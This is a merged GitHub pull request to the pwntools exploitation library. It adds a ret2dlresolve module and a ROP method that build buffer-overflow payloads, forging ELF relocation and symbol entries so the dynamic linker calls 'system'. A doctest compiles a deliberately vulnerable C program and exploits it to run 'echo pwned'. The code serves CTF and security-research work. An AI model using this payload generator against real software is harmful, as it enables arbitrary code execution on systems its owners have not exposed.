-
Notifications
You must be signed in to change notification settings - Fork 1.7k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add ret2dlresolve #1436
Merged
Merged
Add ret2dlresolve #1436
Changes from all commits
Commits
Show all changes
5 commits
Select commit
Hold shift + click to select a range
c4b514f
Added ret2dlresolve
klecko 5acabdd
Changed design
klecko d16370b
Added test
klecko c9dad72
Changed test to 32 bits, 64 bits seems broken for now
klecko 8699639
Merge branch 'dev' of https://github.com/Gallopsled/pwntools into dev
Arusekk File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
.. testsetup:: * | ||
|
||
from pwn import* | ||
import tempfile | ||
|
||
:mod:`pwnlib.ret2dlresolve` --- Return to dl_resolve | ||
==================================================== | ||
|
||
.. automodule:: pwnlib.ret2dlresolve | ||
:members: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,302 @@ | ||
r""" | ||
Provides automatic payload generation for exploiting buffer overflows | ||
using ret2dlresolve. | ||
|
||
Example: | ||
|
||
>>> program = tempfile.mktemp() | ||
>>> source = program + ".c" | ||
>>> write(source, ''' | ||
... #include <unistd.h> | ||
... void vuln(void){ | ||
... char buf[64]; | ||
... read(STDIN_FILENO, buf, 200); | ||
... } | ||
... int main(int argc, char** argv){ | ||
... vuln(); | ||
... }''') | ||
>>> cmdline = ["gcc", source, "-fno-stack-protector", "-no-pie", "-m32", "-o", program] | ||
>>> process(cmdline).wait_for_close() | ||
|
||
>>> context.binary = program | ||
>>> elf = ELF(program) | ||
>>> rop = ROP(elf) | ||
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"]) | ||
>>> rop.ret2dlresolve(reloc_index=dlresolve.reloc_index, real_args=dlresolve.real_args, | ||
... read_func="read", read_func_args=[0, dlresolve.data_addr]) | ||
>>> raw_rop = rop.chain() | ||
|
||
>>> payload = b"A"*76 + raw_rop | ||
>>> payload += (200-len(payload))*b"A" | ||
>>> payload2 = dlresolve.payload | ||
>>> p = process(program) | ||
>>> p.sendline(payload + payload2) | ||
>>> p.recvline() | ||
b'pwned\n' | ||
""" | ||
|
||
from copy import deepcopy | ||
|
||
from pwnlib.context import context | ||
from pwnlib.log import getLogger | ||
from pwnlib.rop import ROP | ||
from pwnlib.util.packing import * | ||
|
||
log = getLogger(__name__) | ||
|
||
ELF32_R_SYM_SHIFT = 8 | ||
ELF64_R_SYM_SHIFT = 32 | ||
|
||
class Elf32_Rel(object): | ||
""" | ||
typedef struct elf32_rel { | ||
Elf32_Addr r_offset; | ||
Elf32_Word r_info; | ||
} Elf32_Rel; | ||
""" | ||
size=1 # see _build_structures method for explanation | ||
def __init__(self, r_offset=0, r_info=0): | ||
self.r_offset = r_offset | ||
self.r_info = r_info | ||
|
||
def __bytes__(self): | ||
return p32(self.r_offset) + p32(self.r_info) | ||
|
||
def __flat__(self): | ||
return bytes(self) | ||
|
||
|
||
class Elf64_Rel(object): | ||
""" | ||
typedef struct elf64_rel { | ||
Elf64_Addr r_offset; | ||
Elf64_Xword r_info; | ||
} Elf64_Rel; | ||
""" | ||
size=24 | ||
def __init__(self, r_offset=0, r_info=0): | ||
self.r_offset = r_offset | ||
self.r_info = r_info | ||
|
||
def __bytes__(self): | ||
return p64(self.r_offset) + p64(self.r_info) + p64(0) | ||
|
||
def __flat__(self): | ||
return bytes(self) | ||
|
||
|
||
class Elf32_Sym(object): | ||
""" | ||
typedef struct elf32_sym{ | ||
Elf32_Word st_name; | ||
Elf32_Addr st_value; | ||
Elf32_Word st_size; | ||
unsigned char st_info; | ||
unsigned char st_other; | ||
Elf32_Half st_shndx; | ||
} Elf32_Sym; | ||
""" | ||
size = 16 | ||
def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0): | ||
self.st_name = st_name | ||
self.st_value = st_value | ||
self.st_size = st_size | ||
self.st_info = st_info | ||
self.st_other = st_other | ||
self.st_shndx = st_shndx | ||
|
||
def __bytes__(self): | ||
return p32(self.st_name) + \ | ||
p32(self.st_value) + \ | ||
p32(self.st_size) + \ | ||
p8(self.st_info) + \ | ||
p8(self.st_other) + \ | ||
p16(self.st_shndx) | ||
|
||
def __flat__(self): | ||
return bytes(self) | ||
|
||
|
||
class Elf64_Sym(object): | ||
""" | ||
typedef struct elf64_sym { | ||
Elf64_Word st_name; | ||
unsigned char st_info; | ||
unsigned char st_other; | ||
Elf64_Half st_shndx; | ||
Elf64_Addr st_value; | ||
Elf64_Xword st_size; | ||
} Elf64_Sym; | ||
""" | ||
size=24 | ||
def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0): | ||
self.st_name = st_name | ||
self.st_value = st_value | ||
self.st_size = st_size | ||
self.st_info = st_info | ||
self.st_other = st_other | ||
self.st_shndx = st_shndx | ||
|
||
def __bytes__(self): | ||
return p32(self.st_name) + \ | ||
p8(self.st_info) + \ | ||
p8(self.st_other) + \ | ||
p16(self.st_shndx) + \ | ||
p64(self.st_value) + \ | ||
p64(self.st_size) | ||
|
||
def __flat__(self): | ||
return bytes(self) | ||
|
||
|
||
class Queue(list): | ||
def size(self): | ||
size = 0 | ||
for v in self: | ||
# Lists, strings and ints all have size context.size | ||
# Assuming int size equals address size | ||
if isinstance(v, MarkedBytes): | ||
size += len(v) | ||
else: | ||
size += context.bytes | ||
return size | ||
|
||
|
||
class MarkedBytes(bytes): | ||
pass | ||
|
||
|
||
class Ret2dlresolvePayload(object): | ||
def __init__(self, elf, symbol, args, data_addr=None): | ||
self.elf = elf | ||
self.elf_load_address_fixup = self.elf.address - self.elf.load_addr | ||
self.strtab = elf.dynamic_value_by_tag("DT_STRTAB") + self.elf_load_address_fixup | ||
self.symtab = elf.dynamic_value_by_tag("DT_SYMTAB") + self.elf_load_address_fixup | ||
self.jmprel = elf.dynamic_value_by_tag("DT_JMPREL") + self.elf_load_address_fixup | ||
self.versym = elf.dynamic_value_by_tag("DT_VERSYM") + self.elf_load_address_fixup | ||
self.symbol = context._encode(symbol) | ||
self.args = args | ||
self.real_args = self._format_args() | ||
|
||
self.data_addr = data_addr if data_addr is not None else self._get_recommended_address() | ||
|
||
# Will be set when built | ||
self.reloc_index = -1 | ||
self.payload = b"" | ||
|
||
# PIE is untested, gcc forces FULL-RELRO when PIE is set | ||
if self.elf.pie and self.elf_load_address_fixup == 0: | ||
log.warning("WARNING: ELF is PIE but it has not base address") | ||
|
||
self._build() | ||
|
||
def _padding(self, payload_len, modulo): | ||
if payload_len % modulo == 0: return b"" | ||
return (modulo - (payload_len%modulo))*b"A" | ||
|
||
def _format_args(self): | ||
# Encode every string in args | ||
def aux(args): | ||
for i, arg in enumerate(args): | ||
if isinstance(arg, (str,bytes)): | ||
args[i] = context._encode(args[i]) + b"\x00" | ||
elif isinstance(arg, (list, tuple)): | ||
aux(arg) | ||
|
||
args = deepcopy(self.args) | ||
aux(args) | ||
return args | ||
|
||
def _get_recommended_address(self): | ||
bss = self.elf.get_section_by_name(".bss").header.sh_addr + self.elf_load_address_fixup | ||
bss_size = self.elf.get_section_by_name(".bss").header.sh_size | ||
addr = bss + bss_size | ||
addr = addr + (0x1000-(addr % 0x1000)) - 0x200 #next page in memory - 0x200 | ||
return addr | ||
|
||
def _build_structures(self): | ||
# The first part of the payload is the usual of ret2dlresolve. | ||
if context.bits == 32: | ||
ElfSym = Elf32_Sym | ||
ElfRel = Elf32_Rel | ||
ELF_R_SYM_SHIFT = ELF32_R_SYM_SHIFT | ||
elif context.bits == 64: | ||
ElfSym = Elf64_Sym | ||
ElfRel = Elf64_Rel | ||
ELF_R_SYM_SHIFT = ELF64_R_SYM_SHIFT | ||
else: | ||
log.error("Unsupported bits") | ||
|
||
# where the address of the symbol will be saved | ||
# (ElfRel.r_offset points here) | ||
self.payload += b"A"*context.bytes | ||
|
||
# Symbol name. Ej: system | ||
symbol_name_addr = self.data_addr + len(self.payload) | ||
self.payload += self.symbol + b"\x00" | ||
self.payload += self._padding(self.data_addr + len(self.payload) - self.symtab, ElfSym.size) | ||
|
||
# ElfSym | ||
sym_addr = self.data_addr + len(self.payload) | ||
sym = ElfSym(st_name=symbol_name_addr - self.strtab) | ||
self.payload += bytes(sym) | ||
self.payload += self._padding(self.data_addr + len(self.payload) - self.jmprel, ElfRel.size) | ||
|
||
# ElfRel | ||
rel_addr = self.data_addr + len(self.payload) | ||
index = (sym_addr - self.symtab) // ElfSym.size # index for both symtab and versym | ||
rel_type = 7 | ||
rel = ElfRel(r_offset=self.data_addr, r_info=(index<<ELF_R_SYM_SHIFT)+rel_type) | ||
self.payload += bytes(rel) | ||
|
||
# It seems to be treated as an index in 64b and | ||
# as an offset in 32b. That's why Elf32_Rel.size = 1 | ||
self.reloc_index = (rel_addr - self.jmprel)//ElfRel.size | ||
|
||
log.debug("Symtab: %s", hex(self.symtab)) | ||
log.debug("Strtab: %s", hex(self.strtab)) | ||
log.debug("Jmprel: %s", hex(self.jmprel)) | ||
log.debug("ElfSym addr: %s", hex(sym_addr)) | ||
log.debug("ElfRel addr: %s", hex(rel_addr)) | ||
log.debug("Symbol name addr: %s", hex(symbol_name_addr)) | ||
log.debug("Data addr: %s", hex(self.data_addr)) | ||
|
||
def _build_args(self): | ||
# The second part of the payload will include strings and pointers needed for ROP. | ||
queue = Queue() | ||
|
||
# We first have to process the arguments: replace lists and strings with | ||
# pointers to the payload. Add lists contents and marked strings to the queue | ||
# to be processed later. | ||
for i, arg in enumerate(self.real_args): | ||
if isinstance(arg, (list, tuple)): | ||
self.real_args[i] = self.data_addr + len(self.payload) + queue.size() | ||
queue.extend(arg) | ||
elif isinstance(arg, bytes): | ||
self.real_args[i] = self.data_addr + len(self.payload) + queue.size() | ||
queue.append(MarkedBytes(arg)) | ||
|
||
# Now we process the generated queue, which contains elements that will be in | ||
# the payload. We replace lists and strings with pointers, add lists elements | ||
# to the queue, and mark strings so next time they are processed they are | ||
# added and not replaced again. | ||
while len(queue) > 0: | ||
top = queue[0] | ||
if isinstance(top, (list, tuple)): | ||
top = pack(self.data_addr + len(self.payload) + queue.size()) | ||
queue.extend(queue[0]) | ||
elif isinstance(top, MarkedBytes): | ||
# Just add them | ||
pass | ||
elif isinstance(top, bytes): | ||
top = pack(self.data_addr + len(self.payload) + queue.size()) | ||
queue.append(MarkedBytes(queue[0])) | ||
elif isinstance(top, int): | ||
top = pack(top) | ||
|
||
self.payload += top | ||
queue.pop(0) | ||
|
||
def _build(self): | ||
self._build_structures() | ||
self._build_args() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -1277,6 +1277,24 @@ def search(self, move = 0, regs = None, order = 'size'): | |
|
||
return result | ||
|
||
def ret2dlresolve(self, reloc_index, real_args, read_func, read_func_args): | ||
elf = [elf for elf in self.elfs if elf.get_section_by_name(".plt") is not None][0] | ||
elf_base = elf.address if elf.pie else 0 | ||
plt_init = elf.get_section_by_name(".plt").header.sh_addr + elf_base | ||
log.debug("PLT_INIT: %s", hex(plt_init)) | ||
|
||
self.call(read_func, read_func_args) | ||
if context.bits == 64: | ||
self.call(plt_init, real_args) | ||
self.raw(reloc_index) | ||
else: | ||
# not a regular x86 call | ||
self.raw(plt_init) # call plt_init | ||
self.raw(reloc_index) # arg for plt init | ||
self.raw(0xDEADBEEF) # ret | ||
for arg in real_args: # args for the called symbol | ||
self.raw(arg) | ||
Comment on lines
+1292
to
+1296
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Is there a better way to do this? |
||
|
||
def __getattr__(self, attr): | ||
"""Helper to make finding ROP gadets easier. | ||
|
||
|
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think getting
read_func
andread_func_args
can be somewhat automated having the elf, but I'm not sure how.